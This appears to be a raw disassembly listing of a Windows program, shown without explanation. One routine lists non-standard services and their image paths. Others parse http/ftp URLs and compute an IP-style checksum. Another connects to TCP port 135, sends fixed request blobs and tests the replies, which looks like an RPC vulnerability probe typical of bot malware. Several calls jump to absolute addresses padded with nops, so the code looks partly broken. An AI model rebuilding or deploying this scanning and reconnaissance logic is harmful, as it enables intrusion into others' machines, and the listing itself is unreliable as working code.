var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 28E086Ch
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44433C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 28C0000h
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 28F0000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	near ptr 2861CD4h
		nop
		push	eax
		nop
		call	near ptr 286120Fh
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB64, eax
		mov	eax, offset dword_50BB64
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444410 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444410 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444410 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DD8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E4C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E24
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E38
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		nop
		call	near ptr 71AB9639h


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
